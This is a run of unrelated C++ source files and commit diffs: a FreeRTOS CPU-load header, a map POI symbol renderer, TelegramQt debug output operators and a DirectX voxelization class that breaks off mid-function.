PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file CpuLoad.hxx\n * Class for maintining a CPU load indication.\n *\n * @author Balazs Racz\n * @date 30 August 2015\n *\/\n\n#ifndef _OS_CPULOAD_HXX_\n#define _OS_CPULOAD_HXX_\n\n#include <algorithm>\n\n#include \"executor\/StateFlow.hxx\"\n#include \"utils\/SimpleQueue.hxx\"\n#include \"utils\/Singleton.hxx\"\n#include \"utils\/StringPrintf.hxx\"\n\nextern \"C\" {\n    \/\/\/ Call this function repeatedly from a hardware timer to feed the CPUload\n    \/\/\/ class.\n    \/\/\/ @param irq should be zero if parent is the main context, otherwise the\n    \/\/\/ irq number.\n    void cpuload_tick(unsigned irq);\n}\n \n\/\/\/ Singleton class that records the CPU load under FreeRTOS.\n\/\/\/\n\/\/\/ Usage: \n\/\/\/\n\/\/\/ . create a single (global) instance of this class.\n\/\/\/\n\/\/\/ . repeatedly call cpuload_tick() from a hardware timer. A rate of 100 Hz is\n\/\/\/ usually fine.\n\/\/\/\n\/\/\/ . retrieve CPU load when desired from the object of this class or via\n\/\/\/   Singleton<CpuLoad>::instance().\nclass CpuLoad : public Singleton<CpuLoad> {\npublic:\n    CpuLoad() {}\n\n    ~CpuLoad()\n    {\n        while (!perKeyCost_.empty())\n        {\n            delete perKeyCost_.pop_front();\n        }\n    }\n\n    \/\/\/ @returns the CPU load as an integer between 0 and 100. The load is\n    \/\/\/ averaged over the past short amount of time.\n    uint8_t get_load();\n\n    \/\/\/ Return the maximum consecutive count that busy was measured, clipped to\n    \/\/\/ 255.\n    uint8_t get_max_consecutive() {\n        return maxConsecutive_;\n    }\n\n    \/\/\/ Reset the maximum consecutive busy count.\n    void clear_max_consecutive() {\n        maxConsecutive_ = 0;\n    }\n\n    \/\/\/ Returns the peak count over 16 ticks.\n    uint8_t get_peak_over_16_counts() {\n        return peakOver16Counts_;\n    }\n\n    \/\/\/ Reset the peak count over 16 ticks.\n    void clear_peak_over_16_counts() {\n        peakOver16Counts_ = 0;\n    }\n\n    \/\/\/ @return 0 if we have not found a new key recently, otherwise the value\n    \/\/\/ of the new key found. Clears the new key.\n    uintptr_t new_key()\n    {\n        auto k = newKey_;\n        newKey_ = 0;\n        return k;\n    }\n\n    \/\/\/ Defines how to print a given key. Must be called from the main executor.\n    void set_key_description(uintptr_t key, string description)\n    {\n        auto it = perKeyCost_.begin();\n        for (; it != perKeyCost_.end(); ++it)\n        {\n            if (it->key == key)\n            {\n                it->description = std::move(description);\n                return;\n            }\n        }\n        auto *kk = new KeyInfo;\n        kk->key = key;\n        kk->description = std::move(description);\n        perKeyCost_.insert(it, kk);\n    }\n\n    \/\/\/ Returns delta usage since last call by utilization key.\n    \/\/\/ @param output will be populated with data, utilization (number of ticks\n    \/\/\/ in this key since last invocation).\n    uint32_t get_utilization_delta(\n        std::vector<pair<unsigned, string *>> *output)\n    {\n        HASSERT(output);\n        output->clear();\n        for (auto it = perKeyCost_.begin(); it != perKeyCost_.end(); ++it)\n        {\n            volatile unsigned curr = it->rolling_count;\n            unsigned diff = curr - it->last_count;\n            it->last_count = curr;\n            if (diff > 0)\n            {\n                output->emplace_back(diff, &it->description);\n            }\n        }\n        uint32_t ret = countSinceUpdate_;\n        countSinceUpdate_ = 0;\n        return ret;\n    }\n\nprivate:\n    friend void cpuload_tick(unsigned);\n    \/\/\/ Adds a value to the rolling average.\n    \/\/\/ @param busy false when idle\n    \/\/\/ @param key 0 if CPU is idle at this time, otherwise a key on what is\n    \/\/\/ taking time.\n    inline void record_value(bool busy, uintptr_t key);\n\n    \/\/\/ Internal state for the rolling average (EWMA). This is a 0+24bit fixed\n    \/\/\/ point format, the top 8 bits are always 0 to allow overflow-less\n    \/\/\/ multiplication. 0x01000000 would be 1.0, 0x00ffffff is 0.99999...\n    uint32_t avg_{0};\n\n    \/\/\/ Number of ticks we've seen since last updating the key info.\n    uint32_t countSinceUpdate_{0};\n\n    \/\/\/ Temporary buffer that the interrupt can write unknown keys to.\n    uintptr_t newKey_{0};\n\n    struct KeyInfo : public QMember\n    {\n        \/\/\/ Which cost key this entry belongs to\n        uintptr_t key;\n        \/\/\/ textual description on how to print the cost key\n        string description;\n        \/\/\/ what is the last printed cost offset\n        uint32_t last_count{0};\n        \/\/\/ rolling count of cost offsets updated by the interrupt\n        uint32_t rolling_count{0};\n    };\n\n    \/\/\/ Collects cost information on a per-key basis.\n    TypedQueue<KeyInfo> perKeyCost_;\n\n    \/\/\/ Streak of busy ticks.\n    uint8_t consecutive_{0};\n    \/\/\/ Longest streak we've seen.\n    uint8_t maxConsecutive_{0};\n    \/\/\/ Rolling window of the last 16 counts.\n    uint16_t last16Bits_{0};\n    \/\/\/ Largest value we've seen of how busy we were over 16 counts.\n    uint8_t peakOver16Counts_{0};\n};\n\nclass CpuLoadLog : public StateFlowBase\n{\npublic:\n    CpuLoadLog(Service *service)\n        : StateFlowBase(service)\n    {\n        start_flow(STATE(log_and_wait));\n    }\n\nprivate:\n    Action log_and_wait()\n    {\n        auto *l = CpuLoad::instance();\n        LOG(INFO, \"Load: avg %3d max streak %d max of 16 %d\", l->get_load(),\n            l->get_max_consecutive(), l->get_peak_over_16_counts());\n        l->clear_max_consecutive();\n        l->clear_peak_over_16_counts();\n        vector<pair<unsigned, string *>> per_task_ticks;\n        unsigned c = l->get_utilization_delta(&per_task_ticks);\n        std::sort(per_task_ticks.begin(), per_task_ticks.end(),\n                  std::greater<decltype(per_task_ticks)::value_type>());\n        string details;\n        for (volatile auto it : per_task_ticks)\n        {\n            int perc = it.first * 1000 \/ c;\n            details += StringPrintf(\" | %d.%d:\", perc \/ 10, perc % 10);\n            details += *it.second;\n        }\n        log_output((char *)details.data(), details.size());\n        auto k = l->new_key();\n        if (k > 300)\n        {\n            char *name = pcTaskGetName((TaskHandle_t)k);\n            l->set_key_description(k, name);\n        }\n        else\n        {\n            l->set_key_description(k, StringPrintf(\"irq-%u\", k));\n        }\n        return sleep_and_call(&timer_, MSEC_TO_NSEC(2000), STATE(log_and_wait));\n    }\n\n    StateFlowTimer timer_{this};\n};\n\n#endif \/\/ _OS_CPULOAD_HXX_\n<|endoftext|>"}
{"text":"<commit_before>#include \"poi_symbol_shape.hpp\"\n\n#include \"..\/drape\/texture_set_holder.hpp\"\n#include \"..\/drape\/attribute_provider.hpp\"\n#include \"..\/drape\/glstate.hpp\"\n#include \"..\/drape\/batcher.hpp\"\n\n#include \"..\/drape\/shader_def.hpp\"\n\nnamespace df\n{\n\nPoiSymbolShape::PoiSymbolShape(m2::PointD const & mercatorPt, PoiSymbolViewParams const & params)\n  : m_pt(mercatorPt)\n  , m_params(params)\n{\n}\n\nvoid PoiSymbolShape::Draw(RefPointer<Batcher> batcher, RefPointer<TextureSetHolder> textures) const\n{\n  TextureSetHolder::SymbolRegion region;\n  textures->GetSymbolRegion(m_params.m_symbolName, region);\n\n  GLState state(gpu::TEXTURING_PROGRAM, GLState::OverlayLayer);\n  state.SetTextureSet(region.GetTextureNode().m_textureSet);\n\n  state.SetBlending(Blending(true));\n\n  m2::PointU pixelSize;\n  region.GetPixelSize(pixelSize);\n  m2::PointF halfSize(pixelSize.x \/ 2.0, pixelSize.y \/ 2.0);\n  m2::RectF const & texRect = region.GetTexRect();\n  float depth = m_params.m_depth;\n  float texture = (float)region.GetTextureNode().m_textureOffset;\n\n  float stream[]     =\n  \/\/   x       y       z      normal.x    normal.y        s              t          textureIndex\n  { m_pt.x, m_pt.y, depth, -halfSize.x,  halfSize.y, texRect.minX(), texRect.maxY(), texture,\n    m_pt.x, m_pt.y, depth, -halfSize.x, -halfSize.y, texRect.minX(), texRect.minY(), texture,\n    m_pt.x, m_pt.y, depth,  halfSize.x,  halfSize.y, texRect.maxX(), texRect.maxY(), texture,\n    m_pt.x, m_pt.y, depth,  halfSize.x, -halfSize.y, texRect.maxX(), texRect.minY(), texture};\n\n  AttributeProvider provider(1, 4);\n  BindingInfo info(3);\n\n  BindingDecl & posDecl = info.GetBindingDecl(0);\n  posDecl.m_attributeName = \"a_position\";\n  posDecl.m_componentCount = 3;\n  posDecl.m_componentType = gl_const::GLFloatType;\n  posDecl.m_offset = 0;\n  posDecl.m_stride = 8 * sizeof(float);\n\n  BindingDecl & normalDecl = info.GetBindingDecl(1);\n  normalDecl.m_attributeName = \"a_normal\";\n  normalDecl.m_componentCount = 2;\n  normalDecl.m_componentType = gl_const::GLFloatType;\n  normalDecl.m_offset = 3 * sizeof(float);\n  normalDecl.m_stride = 8 * sizeof(float);\n\n  BindingDecl & texDecl = info.GetBindingDecl(2);\n  texDecl.m_attributeName = \"a_texCoords\";\n  texDecl.m_componentCount = 2;\n  texDecl.m_componentType = gl_const::GLFloatType;\n  texDecl.m_offset = (3 + 2) * sizeof(float);\n  texDecl.m_stride = 8 * sizeof(float);\n\n  OverlayHandle * handle = new SquareHandle(m_params.m_id,\n                                           dp::Center,\n                                           m_pt,\n                                           pixelSize,\n                                           m_params.m_depth);\n\n  provider.InitStream(0, info, MakeStackRefPointer<void>(stream));\n  batcher->InsertTriangleStrip(state, MakeStackRefPointer(&provider), MovePointer(handle));\n}\n\n} \/\/ namespace df\n<commit_msg>rewritten to use the same shader like a symbol by path use<commit_after>#include \"poi_symbol_shape.hpp\"\n\n#include \"..\/drape\/texture_set_holder.hpp\"\n#include \"..\/drape\/attribute_provider.hpp\"\n#include \"..\/drape\/glstate.hpp\"\n#include \"..\/drape\/batcher.hpp\"\n\n#include \"..\/drape\/shader_def.hpp\"\n\nnamespace df\n{\n\nPoiSymbolShape::PoiSymbolShape(m2::PointD const & mercatorPt, PoiSymbolViewParams const & params)\n  : m_pt(mercatorPt)\n  , m_params(params)\n{\n}\n\nvoid PoiSymbolShape::Draw(RefPointer<Batcher> batcher, RefPointer<TextureSetHolder> textures) const\n{\n  TextureSetHolder::SymbolRegion region;\n  textures->GetSymbolRegion(m_params.m_symbolName, region);\n\n  GLState state(gpu::TEXTURING_PROGRAM, GLState::OverlayLayer);\n  state.SetTextureSet(region.GetTextureNode().m_textureSet);\n\n  state.SetBlending(Blending(true));\n\n  m2::PointU pixelSize;\n  region.GetPixelSize(pixelSize);\n  m2::PointF halfSize(pixelSize.x \/ 2.0, pixelSize.y \/ 2.0);\n  m2::RectF const & texRect = region.GetTexRect();\n  float depth = m_params.m_depth;\n  float texture = (float)region.GetTextureNode().m_textureOffset;\n\n  float positions[] =\n  { m_pt.x, m_pt.y,\n    m_pt.x, m_pt.y,\n    m_pt.x, m_pt.y,\n    m_pt.x, m_pt.y};\n\n  float normals[] =\n  { -halfSize.x,  halfSize.y,\n    -halfSize.x, -halfSize.y,\n    halfSize.x,  halfSize.y,\n    halfSize.x, -halfSize.y};\n\n  float uvs[] =\n  { texRect.minX(), texRect.maxY(), texture, depth,\n    texRect.minX(), texRect.minY(), texture, depth,\n    texRect.maxX(), texRect.maxY(), texture, depth,\n    texRect.maxX(), texRect.minY(), texture, depth};\n\n  AttributeProvider provider(3, 4);\n  {\n    BindingInfo position(1, 1);\n    BindingDecl & decl = position.GetBindingDecl(0);\n    decl.m_attributeName = \"a_position\";\n    decl.m_componentCount = 2;\n    decl.m_componentType = gl_const::GLFloatType;\n    decl.m_offset = 0;\n    decl.m_stride = 0;\n    provider.InitStream(0, position, MakeStackRefPointer<void>(positions));\n  }\n  {\n    BindingInfo normal(1);\n    BindingDecl & decl = normal.GetBindingDecl(0);\n    decl.m_attributeName = \"a_normal\";\n    decl.m_componentCount = 2;\n    decl.m_componentType = gl_const::GLFloatType;\n    decl.m_offset = 0;\n    decl.m_stride = 0;\n    provider.InitStream(1, normal, MakeStackRefPointer<void>(normals));\n  }\n  {\n    BindingInfo texcoord(1);\n    BindingDecl & decl = texcoord.GetBindingDecl(0);\n    decl.m_attributeName = \"a_texCoords\";\n    decl.m_componentCount = 4;\n    decl.m_componentType = gl_const::GLFloatType;\n    decl.m_offset = 0;\n    decl.m_stride = 0;\n    provider.InitStream(2, texcoord, MakeStackRefPointer<void>(uvs));\n  }\n\n  OverlayHandle * handle = new SquareHandle(m_params.m_id,\n                                           dp::Center,\n                                           m_pt,\n                                           pixelSize,\n                                           m_params.m_depth);\n\n  batcher->InsertTriangleStrip(state, MakeStackRefPointer(&provider), MovePointer(handle));\n}\n\n} \/\/ namespace df\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   Copyright (C) 2017 Alexandr Akulich <akulichalexander@gmail.com>\n\n   This file is a part of TelegramQt library.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n *\/\n\n#include \"Debug_p.hpp\"\n\n#include \"IgnoredMessageNotification.hpp\"\n#include \"MTProto\/MessageHeader.hpp\"\n#include \"TelegramNamespace.hpp\"\n#include \"telegramqt_macros.h\"\n\nstatic const QByteArray c_spaces = QByteArray(40, ' ');\nstatic constexpr int c_maxBytesPrintedLength = 42;\n\nconst char *getSpaces(int count)\n{\n    int position = c_spaces.count() - count;\n    if (position < 0) {\n        position = 0;\n    }\n    return c_spaces.constData() + position;\n}\n\nnamespace Telegram {\n\nnamespace Debug {\n\nint Spacer::m_spacing = 0;\n\nSpacer::Spacer()\n{\n    m_spacing += m_step;\n}\n\nSpacer::~Spacer()\n{\n    m_spacing -= m_step;\n}\n\nconst char *Spacer::innerSpaces()\n{\n    if (!m_hasInnerCalls) {\n        m_hasInnerCalls = true;\n    }\n    return getSpaces(m_spacing);\n}\n\nconst char *Spacer::outerSpaces()\n{\n    if (m_hasInnerCalls) {\n        return getSpaces(m_spacing - m_step);\n    } else {\n        return \" \";\n    }\n}\n\nQByteArray printBytes(const QByteArray &bytes)\n{\n    if (bytes.size() > c_maxBytesPrintedLength) {\n        static QString bytesTemplateString = QLatin1String(\"..(%1 bytes in total)..\");\n        static const int contextLength = c_maxBytesPrintedLength - bytesTemplateString.length();\n\n        return bytes.left(contextLength).toHex()\n                + bytesTemplateString.arg(bytes.size()).toLatin1()\n                + bytes.right(contextLength).toHex();\n    }\n    return bytes.toHex();\n}\n\n} \/\/ Debug namespace\n\n} \/\/ Telegram namespace\n\nQDebug operator<<(QDebug d, const TLValue &v)\n{\n    d << v.toString();\n    return d;\n}\n\nQDebug operator<<(QDebug d, const Telegram::Peer &peer)\n{\n    switch (peer.type()) {\n    case Telegram::Peer::User:\n        d << \"Telegram::Peer(User, \" << peer.id() << \")\";\n        break;\n    case Telegram::Peer::Chat:\n        d << \"Telegram::Peer(Chat, \" << peer.id() << \")\";\n        break;\n    case Telegram::Peer::Channel:\n        d << \"Telegram::Peer(Channel, \" << peer.id() << \")\";\n        break;\n    default:\n        d << \"Telegram::Peer(Invalid:\" << peer.type() << \", \" << peer.id() << \")\";\n        break;\n    }\n    return d;\n}\n\ntemplate <int Size>\nQDebug operator<<(QDebug d, const TLNumber<Size> &n)\n{\n    d << QByteArray::fromRawData(n.data, n.size()).toHex();\n    return d;\n}\n\ntemplate QDebug operator<<(QDebug d, const TLNumber<128> &n);\ntemplate QDebug operator<<(QDebug d, const TLNumber<256> &n);\n\n\/\/ Extra debug methods\nQDebug operator<<(QDebug d, const Telegram::MTProto::FullMessageHeader &messageHeader)\n{\n    Telegram::Debug::Spacer spacer;\n    d.noquote().nospace();\n    d << TELEGRAMQT_HEX_SHOWBASE;\n    d << \"MessageHeader {\";\n    d << spacer.innerSpaces() << \"salt: \" << messageHeader.serverSalt << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"sessionId: \" << messageHeader.sessionId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"messageId: \" << messageHeader.messageId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"sequenceNumber: \" << messageHeader.sequenceNumber << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"contentLength: \" << messageHeader.contentLength << TELEGRAMQT_ENDL;\n    d << \"}\";\n    return d;\n}\n\nQDebug operator<<(QDebug d, const Telegram::MTProto::IgnoredMessageNotification &notification)\n{\n    Telegram::Debug::Spacer spacer;\n    d.noquote().nospace();\n    d << TELEGRAMQT_HEX_SHOWBASE;\n    d << \"IgnoredMessageNotification {\";\n    d << spacer.innerSpaces() << \"messageId: \" << notification.messageId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"seqNo:\" << notification.seqNo << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"errorCode: \" << notification.errorCode << TELEGRAMQT_ENDL;\n    d << \"}\";\n    return d;\n}\n<commit_msg>Debug: Make the operator<<(Peer) output shorter<commit_after>\/*\n   Copyright (C) 2017 Alexandr Akulich <akulichalexander@gmail.com>\n\n   This file is a part of TelegramQt library.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n *\/\n\n#include \"Debug_p.hpp\"\n\n#include \"IgnoredMessageNotification.hpp\"\n#include \"MTProto\/MessageHeader.hpp\"\n#include \"TelegramNamespace.hpp\"\n#include \"telegramqt_macros.h\"\n\nstatic const QByteArray c_spaces = QByteArray(40, ' ');\nstatic constexpr int c_maxBytesPrintedLength = 42;\n\nconst char *getSpaces(int count)\n{\n    int position = c_spaces.count() - count;\n    if (position < 0) {\n        position = 0;\n    }\n    return c_spaces.constData() + position;\n}\n\nnamespace Telegram {\n\nnamespace Debug {\n\nint Spacer::m_spacing = 0;\n\nSpacer::Spacer()\n{\n    m_spacing += m_step;\n}\n\nSpacer::~Spacer()\n{\n    m_spacing -= m_step;\n}\n\nconst char *Spacer::innerSpaces()\n{\n    if (!m_hasInnerCalls) {\n        m_hasInnerCalls = true;\n    }\n    return getSpaces(m_spacing);\n}\n\nconst char *Spacer::outerSpaces()\n{\n    if (m_hasInnerCalls) {\n        return getSpaces(m_spacing - m_step);\n    } else {\n        return \" \";\n    }\n}\n\nQByteArray printBytes(const QByteArray &bytes)\n{\n    if (bytes.size() > c_maxBytesPrintedLength) {\n        static QString bytesTemplateString = QLatin1String(\"..(%1 bytes in total)..\");\n        static const int contextLength = c_maxBytesPrintedLength - bytesTemplateString.length();\n\n        return bytes.left(contextLength).toHex()\n                + bytesTemplateString.arg(bytes.size()).toLatin1()\n                + bytes.right(contextLength).toHex();\n    }\n    return bytes.toHex();\n}\n\n} \/\/ Debug namespace\n\n} \/\/ Telegram namespace\n\nQDebug operator<<(QDebug d, const TLValue &v)\n{\n    d << v.toString();\n    return d;\n}\n\nQDebug operator<<(QDebug d, const Telegram::Peer &peer)\n{\n    QDebugStateSaver saver(d);\n    d.nospace();\n    switch (peer.type()) {\n    case Telegram::Peer::User:\n        d << \"Peer(User, \" << peer.id() << \")\";\n        break;\n    case Telegram::Peer::Chat:\n        d << \"Peer(Chat, \" << peer.id() << \")\";\n        break;\n    case Telegram::Peer::Channel:\n        d << \"Peer(Channel, \" << peer.id() << \")\";\n        break;\n    default:\n        d << \"Peer(Invalid:\" << peer.type() << \", \" << peer.id() << \")\";\n        break;\n    }\n    return d;\n}\n\ntemplate <int Size>\nQDebug operator<<(QDebug d, const TLNumber<Size> &n)\n{\n    d << QByteArray::fromRawData(n.data, n.size()).toHex();\n    return d;\n}\n\ntemplate QDebug operator<<(QDebug d, const TLNumber<128> &n);\ntemplate QDebug operator<<(QDebug d, const TLNumber<256> &n);\n\n\/\/ Extra debug methods\nQDebug operator<<(QDebug d, const Telegram::MTProto::FullMessageHeader &messageHeader)\n{\n    Telegram::Debug::Spacer spacer;\n    d.noquote().nospace();\n    d << TELEGRAMQT_HEX_SHOWBASE;\n    d << \"MessageHeader {\";\n    d << spacer.innerSpaces() << \"salt: \" << messageHeader.serverSalt << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"sessionId: \" << messageHeader.sessionId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"messageId: \" << messageHeader.messageId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"sequenceNumber: \" << messageHeader.sequenceNumber << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"contentLength: \" << messageHeader.contentLength << TELEGRAMQT_ENDL;\n    d << \"}\";\n    return d;\n}\n\nQDebug operator<<(QDebug d, const Telegram::MTProto::IgnoredMessageNotification &notification)\n{\n    Telegram::Debug::Spacer spacer;\n    d.noquote().nospace();\n    d << TELEGRAMQT_HEX_SHOWBASE;\n    d << \"IgnoredMessageNotification {\";\n    d << spacer.innerSpaces() << \"messageId: \" << notification.messageId << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"seqNo:\" << notification.seqNo << TELEGRAMQT_ENDL;\n    d << spacer.innerSpaces() << \"errorCode: \" << notification.errorCode << TELEGRAMQT_ENDL;\n    d << \"}\";\n    return d;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"BindIndexInfo.h\"\n#include \"Voxelization.h\"\n#include \"Object.h\"\n#include \"ResourceManager.h\"\n#include \"EngineShaderFactory.hpp\"\n\n#include \"MeshCamera.h\"\n\nusing namespace Resource;\nusing namespace Core;\nusing namespace Math;\nusing namespace Rendering::Buffer;\nusing namespace Rendering::GI;\nusing namespace Rendering::Texture;\nusing namespace Rendering::Camera;\nusing namespace Rendering::Shader;\nusing namespace Rendering::Manager;\nusing namespace Rendering::View;\nusing namespace GPGPU::DirectCompute;\n\nVoxelization::Voxelization()\n:\t_clearVoxelMapCS(nullptr),\n\t_voxelAlbedoMapAtlas(nullptr), _voxelNormalMapAtlas(nullptr), _voxelEmissionMapAtlas(nullptr)\n{\n}\n\nVoxelization::~Voxelization()\n{\n\tDestroy();\n\n\tSAFE_DELETE(_voxelAlbedoMapAtlas);\n\tSAFE_DELETE(_voxelNormalMapAtlas);\n\tSAFE_DELETE(_voxelEmissionMapAtlas);\n\n\tfor(auto iter = _constBuffers.begin(); iter != _constBuffers.end(); ++iter)\n\t\tSAFE_DELETE(*iter);\n\t_constBuffers.clear();\n\n\tSAFE_DELETE(_clearVoxelMapCS);\n}\n\nvoid Voxelization::Initialize(const GlobalInfo& globalInfo)\n{\n\tuint maxNumOfCascade = globalInfo.maxNumOfCascade;\n\tASSERT_COND_MSG(maxNumOfCascade != 0, \"Error, voxelization cascade num is zero.\");\n\n\tauto Log2 = [](float v) -> float\n\t{\n\t\treturn log(v) \/ log(2.0f);\n\t};\n\n\tuint dimension = 1 << globalInfo.voxelDimensionPow2;\n\t\n\t_voxelAlbedoMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelAlbedoMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R8G8B8A8_TYPELESS, DXGI_FORMAT_R8G8B8A8_UNORM, DXGI_FORMAT_R32_UINT, 1);\n\n\t_voxelNormalMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelNormalMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R32_TYPELESS, DXGI_FORMAT_R32_FLOAT, DXGI_FORMAT_R32_UINT, 1);\n\n\t_voxelEmissionMapAtlas = new AnisotropicVoxelMapAtlas;\n\t_voxelEmissionMapAtlas->Initialize(dimension, maxNumOfCascade, DXGI_FORMAT_R8G8B8A8_TYPELESS, DXGI_FORMAT_R8G8B8A8_UNORM, DXGI_FORMAT_R32_UINT, 1);\n\n\t\/\/ Setting Const Buffers\n\t{\n\t\tfor(uint i=0; i<maxNumOfCascade; ++i)\n\t\t{\n\t\t\tConstBuffer* infoConstBuffer = new ConstBuffer;\n\t\t\tinfoConstBuffer->Initialize(sizeof(InfoCBData));\n\n\t\t\t_constBuffers.push_back(infoConstBuffer);\n\t\t}\n\n\/\/\t\t_renderInputCBContainer.push_back( ShaderForm::InputConstBuffer(uint(ConstBufferBindIndex::Voxelization_InfoCB), nullptr, false, true, false, true) );\n\t}\n\n\tInitializeClearVoxelMap(dimension, maxNumOfCascade);\n}\n\nvoid Voxelization::InitializeClearVoxelMap(uint dimension, uint maxNumOfCascade)\n{\n\tstd::string filePath = \"\";\n\t{\n\t\tFactory::EngineFactory pathFind(nullptr);\n\t\tpathFind.FetchShaderFullPath(filePath, \"ClearVoxelMaps\");\n\n\t\tASSERT_COND_MSG(filePath.empty() == false, \"Error, File path is empty\");\n\t}\n\n\tShaderManager* shaderMgr = ResourceManager::SharedInstance()->GetShaderManager();\n\tID3DBlob* blob = shaderMgr->CreateBlob(filePath, \"cs\", \"ClearVoxelMapCS\", false, nullptr);\n\n\tComputeShader::ThreadGroup threadGroup;\n\t{\n\t\tauto ComputeThreadGroupSideLength = [](uint sideLength)\n\t\t{\n\t\t\treturn (uint)((float)(sideLength + 8 - 1) \/ 8.0f);\n\t\t};\n\n\t\tthreadGroup.x = ComputeThreadGroupSideLength(dimension * (uint)AnisotropicVoxelMapAtlas::Direction::Num);\n\t\tthreadGroup.y = ComputeThreadGroupSideLength(dimension * maxNumOfCascade);\n\t\tthreadGroup.z = ComputeThreadGroupSideLength(dimension);\n\t}\n\n\t_clearVoxelMapCS = new ComputeShader(threadGroup, blob);\n\tASSERT_COND_MSG(_clearVoxelMapCS->Initialize(), \"Error, Can't Init ClearVoxelMapCS\");\n\n\tstd::vector<ShaderForm::InputUnorderedAccessView> uavs;\n\t{\n\t\tShaderForm::InputUnorderedAccessView uav;\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Albedo;\n\t\tuav.uav\t\t\t= _voxelAlbedoMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Normal;\n\t\tuav.uav\t\t\t= _voxelNormalMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\n\t\tuav.bindIndex\t= (uint)UAVBindIndex::VoxelMap_Emission;\n\t\tuav.uav\t\t\t= _voxelEmissionMapAtlas->GetSourceMapUAV();\n\t\tuavs.push_back(uav);\n\t}\n\n\t_clearVoxelMapCS->SetUAVs(uavs);\n}\n\nvoid Voxelization::Destroy()\n{\n\t_voxelAlbedoMapAtlas->Destory();\n\t_voxelNormalMapAtlas->Destory();\n\t_voxelEmissionMapAtlas->Destory();\n\n\tfor(auto iter = _constBuffers.begin(); iter != _constBuffers.end(); ++iter)\n\t\t(*iter)->Destory();\n\n\t_constBuffers.clear();\n}\n\nvoid Voxelization::ClearZeroVoxelMap(const Device::DirectX*& dx)\n{\n\t_clearVoxelMapCS->Dispatch(dx->GetContext());\n}\n\nvoid Voxelization::Voxelize(const Device::DirectX*& dx,\n\t\t\t\t\t\t\tconst MeshCamera*& camera, const RenderManager*& renderManager,\n\t\t\t\t\t\t\tconst GlobalInfo& globalInfo,\n\t\t\t\t\t\t\tbool onlyStaticMesh)\n{\n\tMath::Matrix camWorldMat;\n\t{\n\t\tconst Transform* camTf = camera->GetOwner()->GetTransform();\n\t\tcamTf->FetchWorldMatrix(camWorldMat);\n\t}\n\n\tif(onlyStaticMesh)\n\t{\n\t\tMatrix viewMat;\n\t\tCameraForm::GetViewMatrix(viewMat, camWorldMat);\n\t\t\n\t\tbool isDifferentViewMat = memcmp(&_prevStaticMeshVoxelizeViewMat, &viewMat, sizeof(Matrix)) != 0;\n\t\tif(isDifferentViewMat == false)\n\t\t\treturn;\n\n\t\t_prevStaticMeshVoxelizeViewMat = viewMat;\n\t}\n\n\tClearZeroVoxelMap(dx);\n\tVector3 camWorldPos(camWorldMat._41, camWorldMat._42, camWorldMat._43);\n\n\tID3D11DeviceContext* context = dx->GetContext();\n\n\tcontext->RSSetState(dx->GetRasterizerStateCWDisableCullingWithClip());\n\tcontext->OMSetDepthStencilState(dx->GetDepthStateLessEqual(), 0x00);\n\n\tfloat blendFactor[4] = {0.0f, 0.0f, 0.0f, 0.0f};\n\tcontext->OMSetBlendState(dx->GetBlendStateOpaque(), blendFactor, 0xffffffff);\n\n\tfloat dimension = float(1 << globalInfo.voxelDimensionPow2);\n\n\tD3D11_VIEWPORT viewport;\n\t{\n\t\tviewport.TopLeftX\t= 0.0f;\n\t\tviewport.TopLeftY\t= 0.0f;\n\t\tviewport.MinDepth\t= 0.0f;\n\t\tviewport.MaxDepth\t= 1.0f;\n\t\tviewport.Width\t\t= dimension;\n\t\tviewport.Height\t\t= dimension;\n\t}\n\tcontext->RSSetViewports(1, &viewport);\n\n\tID3D11SamplerState* samplerState = dx->GetSamplerStateAnisotropic();\n\tcontext->PSSetSamplers((uint)SamplerStateBindIndex::DefaultSamplerState, 1, &samplerState);\n\n\tID3D11UnorderedAccessView* uavs [] =\n\t{\n\t\t_voxelAlbedoMapAtlas->GetSourceMapUAV()->GetView(),\n\t\t_voxelNormalMapAtlas->GetSourceMapUAV()->GetView(),\n\t\t_voxelEmissionMapAtlas->GetSourceMapUAV()->GetView()\n\t};\n\n\tfloat clearColor[4] = {0.0f, 0.0f, 0.0f, 